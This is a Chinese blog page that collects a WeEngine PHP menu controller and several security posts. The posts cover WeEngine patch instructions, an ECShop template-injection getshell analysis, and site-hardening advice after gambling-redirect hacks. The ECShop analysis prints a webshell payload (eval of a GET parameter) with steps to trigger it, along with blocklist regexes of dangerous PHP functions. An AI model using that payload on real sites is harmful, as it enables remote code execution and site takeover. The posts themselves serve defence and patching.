26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
<?php
defined('IN_IA'or exit('Access Denied');
$dos array('display''del''ajax''module''view''switch''del_bind''edit-bind');
$do = in_array($do$dos) ? $do 'display';
load()->model('frame');
if($do == 'display') {
    $menus = frame_lists();
    if(checksubmit('submit')) {
        foreach($_GPC['id'as $k => $v) {
            $v intval($v);
            $update array();
            $menuid intval($v);
            $k=intval($k);
            $title = trim($_GPC['title'][$k]);
            $is_system intval($_GPC['is_system'][$k]);
            if($menuid && $title) {
                $update array(
                    'title' => $title,
                    'displayorder' => intval($_GPC['displayorder'][$k]),
                );
                if(!$is_system) {
                    $update['url'] = trim($_GPC['url'][$k]);
                    $update['append_title'] = trim($_GPC['append_title'][$k]);
                    $update['append_url'] = trim($_GPC['append_url'][$k]);
                }
                pdo_update('core_menu'$updatearray('id' => $menuid));
            }
        }
        if(!empty($_GPC['add_parent_name'])) {
            $exist_names array();
            foreach($_GPC['add_parent_name'as $k1 => $v1) {
                $insert array();
                $add_parent_title = trim($_GPC['add_parent_title'][$k1]);
                $add_parent_name = trim($_GPC['add_parent_name'][$k1]);
                $name_exist = pdo_get('core_menu'array('name' => $add_parent_name'pid' => 0));
                if (!empty($name_exist)) {
                    $exist_names[] = $add_parent_name;
                    continue;
                }
                if($add_parent_title && $add_parent_name) {
                    $insert array(
                        'pid' => 0,
                        'title' => $add_parent_title,
                        'name' => $add_parent_name,
                        'append_title' => trim($_GPC['add_parent_append_title'][$k1]),
                        'displayorder' => intval($_GPC['add_parent_displayorder'][$k1]),
                        'is_system' => 0
                    );
                    pdo_insert('core_menu'$insert);
                }
            }
        }
        if(!empty($_GPC['add_pid'])) {
            foreach($_GPC['add_pid'as $k1 => $v1) {
                $insert array();
                $v1 intval($v1);
                $add_title = trim($_GPC['add_title'][$k1]);
                $add_name = trim($_GPC['add_name'][$k1]);
                if($v1 && $add_title && $add_name) {
                    $insert array(
                        'pid' => $v1,
                        'title' => $add_title,
                        'name' => $add_name,
                        'displayorder' => intval($_GPC['add_displayorder'][$k1]),
                        'is_system' => 0
                    );
                    pdo_insert('core_menu'$insert);
                }
            }
        }
        if(!empty($_GPC['add_child_pid'])) {
            foreach($_GPC['add_child_pid'as $k2 => $v2) {
                $insert array();
                $v2 intval($v2);
                $add_child_title = trim($_GPC['add_child_title'][$k2]);
                $add_child_name = trim($_GPC['add_child_name'][$k2]);
                $add_child_url = trim($_GPC['add_child_url'][$k2]);
                if($v2 && $add_child_title && $add_child_name && $add_child_url) {
                    $insert array(
                        'pid' => $v2,
                        'title' => $add_child_title,
                        'name' => $add_child_name,
                        'url' => $add_child_url,
                        'type' => 'url',
                        'displayorder' => intval($_GPC['add_child_displayorder'][$k2]),
                        'is_system' => 0,
                        'permission_name' => trim($_GPC['add_child_permission'][$k2]),
                    );
                    $add_child_append_title = trim($_GPC['add_child_append_title'][$k2]);
                    $add_child_append_url = trim($_GPC['add_child_append_url'][$k2]);
                    if($add_child_append_title && $add_child_append_url) {
                        $insert['append_title'] = $add_child_append_title;
                        $insert['append_url'] = $add_child_append_url;
                    }
                    pdo_insert('core_menu'$insert);
                }
            }
        }
        if(!empty($_GPC['add_permission_pid'])) {
            foreach($_GPC['add_permission_pid'as $k1 => $v1) {
                $insert array();
                $v1 intval($v1);
                $add_permission_title = trim($_GPC['add_permission_title'][$k1]);
                $add_permission_name = trim($_GPC['add_permission_name'][$k1]);
                $add_permission_flag = trim($_GPC['add_permission_flag'][$k1]);
                $isexist = pdo_fetchcolumn('SELECT id FROM ' . tablename('core_menu') . ' WHERE permission_name = :permission_name'array(':permission_name' => $add_permission_name));
                if(!empty($isexist)) {
                    continue;
                }
                if($v1 && $add_permission_title && $add_permission_name && $add_permission_flag) {
                    $insert array(
                        'pid' => $v1,
                        'title' => $add_permission_title,
                        'name' => $add_permission_flag,
                        'permission_name' => $add_permission_name,
                        'type' => 'permission',
                        'displayorder' => intval($_GPC['add_permission_displayorder'][$k1]),
                        'is_system' => 0,
                        'is_display' => 0,
                    );
                    pdo_insert('core_menu'$insert);
                }
            }
        }
        cache_build_frame_menu();
        if (!empty($exist_names)) {
            $exist_names = implode(','$exist_names);
            message($exist_names."标识已存在", referer(), 'info');
        }
        message('更新菜单成功', referer(), 'success');
    }
    template('extension/menu');
}
if($do == 'del') {
    $id intval($_GPC['id']);
    $menu= pdo_fetch('SELECT * FROM ' . tablename('core_menu') . ' WHERE id = :id'array(':id' => $id));
    if($menu['is_system']) {
        message('系统分类不能删除', referer(), 'error');
    }
    $ids = pdo_fetchall('SELECT id FROM ' . tablename('core_menu') . ' WHERE pid = :id'array(':id' => $id), 'id');
    if(!empty($ids)) {
        $ids_str = implode(','array_keys($ids));
        pdo_query('DELETE FROM ' . tablename('core_menu') . " WHERE pid IN ({$ids_str})");
        pdo_query('DELETE FROM ' . tablename('core_menu') . " WHERE id IN ({$ids_str})");
    }
    pdo_query('DELETE FROM ' . tablename('core_menu') . " WHERE id = {$id}");
    cache_build_frame_menu();
    message('删除分类成功', referer(), 'success');
}
if($do == 'ajax') {
    $id intval($_GPC['id']);
    $value intval($_GPC['value']) ? 0 : 1;
    pdo_update('core_menu'array('is_display' => $value), array('id' => $id));
    cache_build_frame_menu();
    exit();
}
if($do == 'module') {
    load()->model('module');
    if(checksubmit('submit')) {
        if(!empty($_GPC['eid'])) {
            foreach($_GPC['eid'as $k => $v) {
                $update array();
                $entry = trim($_GPC['entry'][$k]);
                if($entry == 'mine') {
                    $update['url'] = trim($_GPC['url'][$k]);
                }
                $update['icon'] = empty($_GPC['icon'][$k]) ? 'fa fa-puzzle-piece' $_GPC['icon'][$k];
                $update['displayorder'] = intval($_GPC['displayorder'][$k]);
                pdo_update('modules_bindings'$updatearray('eid' => intval($v)));
            }
        }
        if(!empty($_GPC['add_title'])) {
            foreach($_GPC['add_title'as $k => $v) {
                $title = trim($v);
                $url = trim($_GPC['add_url'][$k]);
                $m =  trim($_GPC['add_module'][$k]);
                if(strexists($url'http://') || strexists($url'https://')) {
                    if(strexists($url$_W['siteroot'])) {
                        $url './index.php?' str_replace($_W['siteroot'].'web/index.php?'''$url);
                    }
                }
                $icon empty($_GPC['add_icon'][$k]) ? 'fa fa-puzzle-piece' : trim($_GPC['add_icon'][$k]);
                if($title && $url && $m) {
                    $data array();
                    $data['do'] = '';
                    $data['module'] = $m;
                    $data['entry'] = 'mine';
                    $data['title'] = $title;
                    $data['url'] = $url;
                    $data['icon'] = $icon;
                    $data['displayorder'] = intval($_GPC['add_displayorder'][$k]);
                    pdo_insert('modules_bindings'$data);
                else {
                    continue;
                }
            }
        }
        message('更新模块菜单成功''refresh''success');
    }
    $modules = pdo_fetchall('SELECT mid, name, title FROM ' . tablename('modules') . ' WHERE issystem = 0');
    foreach($modules as &$li) {
        $li['entry'] = module_entries($li['name'], array('mine''menu'));
    }
    template('extension/module-permission');
}
if($do == 'del_bind') {
    $eid intval($_GPC['eid']);
    $permission intval($_GPC['permission']);
    pdo_delete('modules_bindings'array('eid' => $eid'entry' => 'mine'));
    exit();
}

 

6、
微擎最新版SQL注入
htmlspecialchars_decode 函数对全局过滤gpc产生的 \’ 进行转义,将可控的参数$html的污染值插入数据库后,产生SQL注入漏洞
位置:/web/source/site/editor.ctrl.php
解决方法:
打开“/web/source/site/editor.ctrl.php”文件,从第127行找到“if (!empty($nav)) {”然后在下面加上“$nav[‘id’] = intval($nav[‘id’]);”保存文件去验证一下就OK了。

农夫程序员-微赞微擎任意文件下载漏洞global.func.php文件修复方法

mikel阅读(1700)

来源: 农夫程序员-微赞微擎任意文件下载漏洞global.func.php文件修复方法

阿里云提示了一个“微擎任意文件下载”的漏洞,该如何修复这个漏洞呢?先看看漏洞的描述!
阿里云安骑士的提示:

微赞微擎的/framework/function/global.func.php中,任意文件下载,补丁绕过。

不得不说,这次阿里云安骑士这段时间对微赞微擎很上心,一下出了好多个修复文件。我们就直接看看修复方法吧。
修复方法:
  • 打开/framework/function/global.func.php文件
  • 搜索
  • if (strexists($t, ‘http://’)
  • 找到
  • if (strexists($t, ‘http://’) || strexists($t, ‘https://’) || substr($t, 0, 2) == ‘//’) {
  •                 return $src;
  •         }
  • 替换为
  • if((substr($t, 0, 7) == ‘http://’)||(substr($t, 0, 8) == ‘https://’)||(substr($t, 0, 2) == ‘//’)){ return $src; }
保存文件,上传到服务器,去安骑士上验证一下就过了。如果搞不定直接下载下面的附件覆盖吧。
下载附件文件替换掉你服务器/framework/function/global.func.php的文件,再去安骑士验证一下就好了。

ECSHOP Inject PHPCode Into \library\myship.php Via \admin\template.php && \includes\cls_template.php Vul Tag_PHP_Code Execute Getshell - 郑瀚Andrew.Hann - 博客园

mikel阅读(1009)

来源: ECSHOP Inject PHPCode Into \library\myship.php Via \admin\template.php && \includes\cls_template.php Vul Tag_PHP_Code Execute Getshell – 郑瀚Andrew.Hann – 博客园

目录

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

PHP语言作为开源社区的一员,提供了各种模板引擎,如FastTemplate,Smarty,SimpleTemplate等,而Smarty是现在使用得比较多的PHP模板引擎
ecshop的这个getshell代码执行getshell漏洞,是一种典型的模版tag语言动态解析导致的漏洞,像smarty这类的动态模版语言允许在静态页面中插入smarty定义的”标签语言(tag php)”,程序在执行的时候,会对这些标签进行对应的解析渲染,这原本是为了提高网站开发的”解耦和性”,将前端开发和后端逻辑的开发进行最大程度的分离
但是在smarty的众多的模版标签中,有一类特殊用途的标签,”代码动态执行的标签(code execute tag)”,这类标签允许在标签中插入php代码,程序会在执行时动态地执行这些代码

ecshop中有一条逻辑攻击流支,允许对网站的模版进行编辑,黑客可以输入恶意的php代码标签(例如用于getshell的写文件php代码),当访问这个模版文件、或者其他的文件包含了这个模版文件的时候,恶意代码就会得到执行

Relevant Link:

http://baike.baidu.com/view/399896.htm?fr=aladdin
http://www.myhack58.com/Article/html/3/62/2010/27762.htm

2. 漏洞触发条件

0x1: 需要登录后台

这个漏洞需要黑客能够登录到ecshop的后台,进行后台的模版编辑操作

0x2: 向模版中插入php tag代码

依次按如下操作

模块管理 -> 库项目管理 -> 选择myship.lbi 配送方式 -> 插入<?php eval($_GET['op'])?>

完成模板的修改,向模板文件中插入PHP代码之后,完成修改之后,PHP代码就插入到了模板文件中

\ecshop\themes\default\library\myship.lbi

接下来需要能够触发这个模板文件中的代码执行

访问Exploit URL

http://localhost/ecshop/myship.php

编译后的静态模板文件被保存到”\temp\compiled\myship.lbi.php”中,在缓存命中期间(有一个最大过期时间),之后访问myship.php就不用重新编译,而是直接访问这个静态模版文件

这次的Exploit URL访问的攻击流程如下

1. myship.php调用"\includes\cls_template.php"中的"make_compiled()"对模板"myship.lbi"进行编译、执行
2. 被插入到"myship.lbi"中的PHP代码得到执行
3. 编译后的静态模板文件被保存到"\temp\compiled\myship.lbi.php"中
4. myship.php会包含(include)这个静态模板文件,被插入模板中的php代码得到执行
5. getshell完成

此后,这个myship.php就可以看成一个webshell文件

Relevant Link:

3. 漏洞影响范围

0x1: 存在漏洞的CMS版本

ECShop_V2.7.2
ECShop_V2.7.2 及以前版本

4. 漏洞代码分析

回顾这个漏洞,我们会发现,这个漏洞的根源在于程序没有对用户编辑的模版文件进行正确的恶意检测,就直接进行了”编译”,从而把恶意php代码带入了编译后静态模板文件中,DEDECMS中也有很多类似的模版解析漏洞

\includes\cls_template.php

复制代码
/**
* 编译模板函数
*
* @access  public
* @param   string      $filename
*
* @return  sring        编译后文件地址
*/
function make_compiled($filename)
{ 
    //编译后的静态模板文件保存的路径
    $name = $this->compile_dir . '/' . basename($filename) . '.php';
    //判断缓存的静态模板文件是否过期
    if ($this->_expires)
    {
        $expires = $this->_expires - $this->cache_lifetime;
    }
    else
    {
        $filestat = @stat($name);
        $expires  = $filestat['mtime'];
    }

    $filestat = @stat($filename);

    if ($filestat['mtime'] <= $expires && !$this->force_compile)
    {
        if (file_exists($name))
        {
        //引入编译后的静态模板文件
        $source = $this->_require($name);
        if ($source == '')
        {
            $expires = 0;
        }
        }
        else
        {
        $source = '';
        $expires = 0;
        }
    }

    //对模板文件进行解析
    if ($this->force_compile || $filestat['mtime'] > $expires)
    {
        $this->_current_file = $filename;
        $source = $this->fetch_str(file_get_contents($filename)); 

        if (file_put_contents($name, $source, LOCK_EX) === false)
        {
        trigger_error('can\'t write:' . $name);
        }

        $source = $this->_eval($source);
    } 

    return $source;
}
复制代码

代码中的关键行是:

$source = $this->fetch_str(file_get_contents($filename));

我们继续分析这个函数

复制代码
/**
* 处理字符串函数
*
* @access  public
* @param   string     $source
*
* @return  sring
*/
function fetch_str($source)
{
    if (!defined('ECS_ADMIN'))
    {
        $source = $this->smarty_prefilter_preCompile($source);
    } 

    //程序没有对即将解析的模板内容作任何的恶意检测
    return preg_replace_callback("/{([^\}\{\n]*)}/", function($r) { return $this->select($r[1]); }, $source);
}
复制代码

从代码中可以很清楚的看到,程序直接对用户编辑后的模板文件进行了”编译(本质就是PHP的动态变量替换机制)”,并没有对模板文件进行恶意代码检测

5. 防御方法

0x1: 代码patch

ecshop v2.7.3 release 1106安全漏洞补丁[20130708]

http://bbs.ecshop.com/thread-1131753-1-1.html

通过对比官方的patch code和2.7.2 vul code,我们可以发现,patch代码在对模板代码的解析的时候

patch file

复制代码
/**
* 处理字符串函数
*
* @access  public
* @param   string     $source
*
* @return  sring
*/
function fetch_str($source)
{  
    if (!defined('ECS_ADMIN'))
    {
        $source = $this->smarty_prefilter_preCompile($source);
    }
    $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
    if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
    {
        $sp_match[1] = array_unique($sp_match[1]);
        for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
        {
        $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
        }
         for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
        {
         $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
        }
    }
    $resutl = preg_replace_callback("/{([^\}\{\n]*)}/", function($r) { return $this->select($r[1]); }, $source); 
    return $resutl;
}
复制代码

0x2: 脏数据回滚

这个漏洞造成的影响

1. 除了可以使黑客通过myship.php将恶意PHP代码写入磁盘文件中
2. 同时恶意代码还会以静态缓存文件的形式在一定时间内保存在磁盘上,这个静态缓存文件中包含的恶意代码会在缓存有效期间一直有效

当黑客再次访问myship.php文件的时候,即使这个myship.php已经进行了代码修复,仍然可以引入这个包含恶意代码的静态缓存文件,所以要彻底修复这个漏洞,需要能够对已经被污染的磁盘文件进行清理,即脏数据删除、回滚

被黑客污染的文件有2个

1. \temp\compiled\myship.lbi.php:由myship.lbi解析后生成
2. \themes\default\library\myship.lbi

其中myship.lbi是黑客可以编辑的模板文件,不能删除,而myship.lbi.php是动态生成出来的,在有效期间内会一直有效

如果需要进行脏数据清理、回滚,就需要进行如下操作(在确认文件中有PHP恶意代码的情况下)

1. 对myship.lbi中的恶意代码进行清除:只能修改文件,不能删除文件
2. 对myship.lbi.php的恶意文件进行删除:直接删除文件

0x3: 最终修复方案

1. code patch
2. 对myship.lbi进行检测,如果发现有恶意PHP代码,则进行清除(修改文件)
3. 对myship.lbi.php进行检测,如果发现有恶意PHP代码,则直接删除文件

0x4: 基于边界防御的代码修复

针对cls_template.php进行底层代码修复是一个很好的防御手段,但是这也同时会带来问题,因为模版解析是ECSHOP CMS本身的功能,我们在cls_template.php底层对所有的模版标签中的PHP代码进行了转义,就等于禁用了网站本身的模版功能。

在这种安全和功能紧耦合的攻防场景下,底层防御往往会对正常业务造成影响,因此,我们可以采用边界防御的思路,针对模版修改的人口进行恶意防御

\admin\template.php

复制代码
if ($_REQUEST['act'] == 'update_library')
{
    check_authz_json('library_manage');
    
    /* */
    $temp_check = json_str_iconv($_POST['html']);
    $temp_check = preg_replace("/<\?[^><]+(\?>){0,1}|<\%[^><]+(\%>){0,1}|<\%=[^><]+(\%>){0,1}|<script[^>]+language[^>]*=[^>]*php[^>]*>[^><]*(<\/script\s*>){0,1}/iU", "", $temp_check); 
    $temp_check = preg_replace("/([^a-zA-Z0-9_]{1,1})+(extract|parse_str|str_replace|unserialize|ob_start|require|include|array_map|preg_replace|copy|fputs|fopen|file_put_contents|file_get_contents|fwrite|eval|phpinfo|assert|base64_decode|create_function|call_user_func)+( |\()/is", "", $temp_check);
    $html = stripslashes($temp_check);
    /* */

    $lib_file = '../themes/' . $_CFG['template'] . '/library/' . $_POST['lib'] . '.lbi';
    $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

    $org_html = str_replace("\xEF\xBB\xBF", '', file_get_contents($lib_file));

    if (@file_exists($lib_file) === true && @file_put_contents($lib_file, $html))
    {
        @file_put_contents('../temp/backup/library/' . $_CFG['template'] . '-' . $_POST['lib'] . '.lbi', $org_html);

        make_json_result('', $_LANG['update_lib_success']);
    }
    else
    {
        make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' . $_CFG['template'] . '/library'));
    }
}
复制代码

对POST上传的入口进行恶意防御

需要特别注意的是,对于ecshop模版中插入PHP恶意代码这个攻击向量场景来说,防御代码需要考虑以下几个方面

复制代码
1. PHP的起止标签具有很强的灵活性
    1) <?php ... ?>
    2) <? ... ?>
    3) <script language="php">...</script>
    4) <?=expression ... ?>
    5) <% ... %>
    6) <%=$variable %>
2. PHP允许半开的标签,即当PHP代码和HTML代码混编的时候,处于文件最末尾的PHP代码不需要闭合标签即可正确执行
3. ECSHOP自身支持一些模版解析语法,即ECSHOP定义了一些定界标签,ECSHOP的解析引擎会将这些标签中的代码作为PHP代码进行解释执行,并返回结果
    1) 针对目前常见的webshell特征采用黑名单方式进行检测
复制代码

6. 攻防思考

针对这类模版动态标签解析漏洞的防御,有2种防御思路

1. 边界防御: 对\admin\template.php、\admin\lib_template.php、\admin\mail_template.php进行修复
在可能导致模版修改的边界对POST数据包进行恶意代码检测

2. 底层防御: 对cls_template.php加上PHP代码转义
http://www.cnblogs.com/LittleHann/p/3574694.html

 

Copyright (c) 2014 LittleHann All rights reserved

ecshop首页被篡改为博彩站,网站被黑怎么处理? 宝塔linux下ecshop 和WordPress的安全防护-木木资源博

mikel阅读(879)

来源: ecshop首页被篡改为博彩站,网站被黑怎么处理? 宝塔linux下ecshop 和WordPress的安全防护-木木资源博

最近收到几个博友的求助,Ecshop网站被博彩网站篡改,跳转到博彩网站,现象如下:

站长直接输入网址打开网站,网站不跳转,网站的TITLE貌似很正常;但是通过搜索引擎搜索关键词进入网站,网站会自动跳转到博彩站。自己辛辛苦苦通过SEO技术获取的流量,被博彩站劫持,造成了大量财产损失,降低了用户体验度,甚至直接被搜索引擎K掉!
这也提醒了站长们:没事搜一搜自己的站点,别通过网址直接进入,黑客会通过js欺骗手段,降低站长发现几率,提高自己的“存活率”

这确实是一个令人头疼的问题,网站被攻击,被篡改主页甚至被恶意删除源码让很多中小站长恐慌,是谁在攻击自己?如何攻击的?该如何防御?由于技术限制让很多草根站长束手无策,那么网站被黑,应该如何处理呢?

一、博主用的是宝塔linux面板,那我们就从宝塔面板的安全防护开始说起:

 

1、为你的宝塔面板绑定一个复杂的三级域名,并修改宝塔默认端口 比如 bt.XX.XXXX.com:33521

2、为你的宝塔面板设置一个复杂的登录账号和密码,包含大小写和特殊符号,(主要是为了防止黑客通过MD5解密,获取你的账号和密码),如果你不懂,跟着我设置就可以了,如果感兴趣可以百度去了解。

3、因为很少用,关闭你的SSH,如果你经常用到,需要修改SSH端口;修改你的FTP端口,不要默认的21.

4、禁止ping,防止黑客嗅探你的服务器IP

5、建议安装宝塔的付费插件 nginx或者apache防火墙,虽然拦截率不会100%,针对一些“草根黑客”还是挺有效的。

6、建议安装 云锁巡查,一单网页被篡改,被渗透你可以第一时间查找,删除。您可以参考西部数码:http://faq.myhostadmin.net/faq/listagent.asp?unid=2093 安装云锁进行防护

7、mySQL数据库默认端口3306,改为61116,并加入到端口安全策略,不对外开放,外网IP无法连接数据库,只有本地127.0.0.1才能进行连接数据库,以防止攻击者恶意猜测。

8、留好你的网站日志,不要当个强迫症,随时清理!(后面讲重要性)

宝塔面板安全配置示意图

宝塔面板安全配置示意图

经过以上操作,你的宝塔面板相对是很安全的,如果大家有什么需要补充的,可以在下方继续留言……

 

二、问题出在Ecshop上,我们聊聊Ecshop的安全防护

Echsop近几年爆出的安全漏洞非常多,Ecshop cms操作的技术人员,技术水平也参差不齐,再加上Ecshop是一款相对来说比较老的开源商城程序,深入研究这套程序的技术人员也少,相关的技术文档,漏洞补丁修复相对滞后,目前可修复的漏洞《ecshop中毒怎么办?以下补丁你打了吗?关于ecshop中sql注入漏洞修复》参考这篇文章进行修复,除此之外我们可以进行以下操作来进行防御:

1、Ecshop修改后台路径,包括手机端,设置复杂的账号密码,防止黑客通过MD5解密,轻松获取后台密码

2、最好只保留一个后台账号密码,不方便的话,分权的账号密码也要重视,别随便写个“名字+888”,你懂得

3、后台,商店设置-基本设置,附件上传大小,修改为0

4,不要在一些技术论坛或者博客中乱发网址,树大招风

如果你的Ecshop网站漏洞较多,有可能会殃及同台服务器上无漏洞的网站,比如你的站上还有个Wordpress站点……

三、Wordpress网站安全防护设置

1.升级到WordPress最新版

只从WordPress官方下载源码,不要到第三方网站下载。尽可能升级到WordPress最新版,及时修补程序漏洞,包括WordPress核心源码、WordPress主题以及WordPress插件。

 

2.使用官方WordPress主题和插件

这里所说的官方,一是WordPress官方,二是主题或插件开发者的官方,尽量避免使用“破解”版主题、插件,慎用网上传播的原本是收费,但是被人恶意提供免费下载的主题、插件。

 

3.修改数据库默认前缀wp_

很多朋友安装WordPress都没有修改数据库前缀,如果你打算修改默认的前缀wp_,请根据如何修改WordPress数据库前缀来修改。

 

4.修改默认的用户名admin

WordPress3.*以上已经支持安装时自定义登录用户名,如果你使用默认的admin,建议你根据下面的方法进行修改:

方法一:后台新建一个用户,角色为管理员,然后使用新用户登录,删除默认的admin用户。

方法二:登录phpmyAdmin,浏览当前数据库的wp_users数据表,将user_login和user_nicename修改为新用户名。同时建议修改“我的个人资料”中的的昵称,然后设置“公开显示为”非用户名的其他方式:

 

5.使用高级密码,经常更换密码

建议使用含大写字母、小写字母、数字和其他符号的复杂密码,比如nuH4j&*aHG%dMz,避免使用生日、手机号、QQ号等。

 

6.隐藏WordPress版本信息

默认情况下会在头部输出WordPress版本信息,你可以在主题的functions.php最后一个?>前面添加:

//隐藏版本号

7.修改wp-admin目录的访问权限

你可以通过限定IP地址访问WordPress管理员文件夹来进行保护,所有其他IP地址访问都返回禁止访问的信息。另外,你需要放一个新的.htaccess文件到wp-admin目录下,防止根目录下的.htaccess文件被替换。


以上简单的配置都是基于你勤奋的数据备份,及时被黑掉,也可以随时挽救……….

 

四,亡羊补牢,为时未晚:真的被黑了,我该怎么办?

上面讲到,不要乱删网站日志,网站日志是分析网站漏洞和攻击源的组好的工具

网站访问日志是存放于服务器里的一个目录里:

IIS默认是存放于C:/windows/system32/里的子目录下,日记记录了网站的所有访问记录,包括了网站的各种访问信息,访客的信息,比如IP,浏览的网址,访客的浏览器属性,以及访问的方式是以GET POST还是COOKIES,统统的都记录在网站访问日志里。

apache访问日志,主要是存放于apache安装目录下的access.log文件,LOG文件会实时的记录所有的网站访问记录,以及访问者的IP等等信息。就好比我们访问https://www.liulinblog.com的时候,access.log日志就会出现以下记录:


60.58.118.58  -   -  [11 / SEP / 2018061833 +0200]“GET www.liulinblog.com/ HTTP / 1.1200  - ”“Mozilla / 6.0Windows NT 8.0; WOW64; rv33.0 Gecko / 20170911 Firefox / 35.0 

 

我来说一下上面这个访问记录是什么意思吧,记录了一个60.58.118.58 的IP,在2018年9月11日的早晨6点18分访问了www.liulinblog.com网站的首页,并返回了200的状态,200状态就是访问成功的状态。

如果我们没有网站日志文件,那我们根本就不知道谁访问了我们网站,以及他访问了我们网站的那些地址。

 

下面我们讲讲通过网站日志,如何分析我们的网站是如何被黑的,通过哪些页面被黑的:

当我们发现客户网站被攻击后,我们立即暂停了网站,以便于我们进行详细网站安全检测与审计。

我们查找了网站的日志,包含了一个星期的日志文件,下载到我们的本地。

在查询网站如何被攻击前,我们要知道哪些数据是对我们有用的,一般来讲,黑客的入侵痕迹,以及攻击的文件特征,以及攻击语句,包含SQL注入漏洞,XSS跨站攻击,以及后台访问并上传木马等行为特征,从这些方面去入手我们会尽快的查找到黑客的攻击IP、并以此为根据,查找到黑客到底是怎样攻击了客户的网站。

打开我们下载好的日志文件,会看到很多很多日志记录,如果网站访问客户多的话,会有上千,也会有上万,我们来看一下网站的访问日志:

 

通过网站日志分析黑客攻击

通过网站日志分析黑客攻击

检查每一个IP的访问情况,通过查看我们看到了一条有攻击特征的记录,这个记录的网站地址,是很长很长,跟普通的访问差别好大。如下图
通过网站日志分析黑客攻击

通过网站日志分析黑客攻击

从上图可以看出,这个代码是执行了SQL注入语句,并查询了网站的后台管理员账号以及密码,导致被黑客知道密码,然后登陆了后台,并篡改了网站的内容。

 

从上面可以看出,黑客的攻击很有明显性,在前期他会自动扫描一些有问题的文件,并找出来然后再针对性的攻击,在黑客攻击的同时会留下许多入侵攻击的痕迹,我们仔细发现都会找到的,在网站被攻击后,千万不要慌静下心来分析网站的日志,查找攻击证据,并找到漏洞根源,修复网站漏洞。

先聊到这把,有问题欢迎底部留言…………

[分享]利用云锁的一键巡检检测网站挂马

mikel阅读(1206)

站访问跳转到赌博、黄色网站,或者网站访问出现异常广告同时网站内容中出现赌博等信息一般都是网站挂马,

网站被挂马,但是由于很多站长对网站程序一窍,只知道上传网站程序,发布信息,对于这种网站挂马没有任何办法。

今天提供一个针对在服务器上网站被挂马或者黑链的简单处理办法,对应很多不懂网站维护的站长来说是一个比较简单的方法,可以快速定位到挂马文件所在。这个只有利用云锁的一键巡检进行检测,对云锁不会的站长千万不要乱使用云锁,不然权限搞乱了网站就无法访问,小白也只好抱歉无能为力了

一、云锁安装

这个办法是使用云锁,http://www.yunsuo.com.cn/

先查看自己的服务器使用的是什么操作系统,win系统云锁没有分32和64位,Linux系统而言也有32和64位之分

win系统直接下载安装软件到服务去上进行安装就可以了,这个很简单不需要说明,记住不需要设置账号密码,跳过即可。

小白测试使用的是linux服务器64位的,如果是不知道自己系统的位数,可以用查看内核方法,输入

uname -a 或 more /proc/version

在内核版本后面会有一个X86_64就是表示64为系统啦

Linux安装说明:http://help.yunsuo.com.cn/guide/Lin_inst.html

32位:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_32bit.tar.gz && tar xvzf yunsuo_agent_32bit.tar.gz && chmod +x yunsuo_install/install && yunsuo_install/install

64位:wget http://download.yunsuo.com.cn/v3/yunsuo_agent_64bit.tar.gz && tar xvzf yunsuo_agent_64bit.tar.gz && chmod +x yunsuo_install/install && yunsuo_install/install

直接在linux服务器ssh终端中输入命令回车

出现Install Yunsuo Success.说明已经安装成功。

然后使用云锁控制端进行管理,可以使用他们的web端,不过个人比较喜欢下载到本地的客户端单机管理。

二、本地管理云锁

云锁pc客户端下载

1、下载到本地安装,打开运行就是这个界面

由于我们没有设置云平台账号密码,输入服务器的ip地址,和服务器远程登陆账号密码,然后点击一件巡检就可以等他巡检结果了。

由于测试的网站并不大,文件不多所以巡检很快,如果网站文件较大可能时间会长一点。结果出来了。可以很明显到在网站安全检测中查看到可疑外链,如果有常见挂马都会在这类显示出来,

查看一下是不是异常文件或者连接,如果是就删除对应异常文件和连接就可以了。是不是十分简单,同时云锁上面还有其他功能不错,比如后台防护,网页防篡改。

在服务器上站点很多,不想全都都去巡检的情况下,可以在一键巡检中设置只检测那一个网站就可以了。

云锁客户端还有很多功能可以参考http://help.yunsuo.com.cn/guide/PC_inst.html

这个只是简单的利用云锁来查找挂马和清理。最后千万注意,对云锁不熟悉的站长只使用简单的一键巡检就可以了,其他不会不要乱操作,避免网站权限异常网站无法访问。

 

记录一个木马:ecshop TDK被篡改为博彩站/劫持快照/ 劫持全站 自动跳转 黑帽seo技术-木木资源博

mikel阅读(1020)

来源: 记录一个木马:ecshop TDK被篡改为博彩站/劫持快照/ 劫持全站 自动跳转 黑帽seo技术-木木资源博

不得不说,网站安全防护这块博主很鸡肋,此前在网络公司做一些小的企业站也遇到过大大小小的网站安全问题,找到问题根源删除,打打网站补丁一般问题不大,解决的也很顺利;但是这次貌似真的是遇到硬茬了

在中木马前博主做了哪些防护?

启用云加速DNS,隐藏网站真实IP;

修改宝塔linux面板默认端口,账号密码,隐藏端口;

修改网站后台路径,默认账号;

ecshop隔段时间打打补丁(已被黑客高调删除)…….

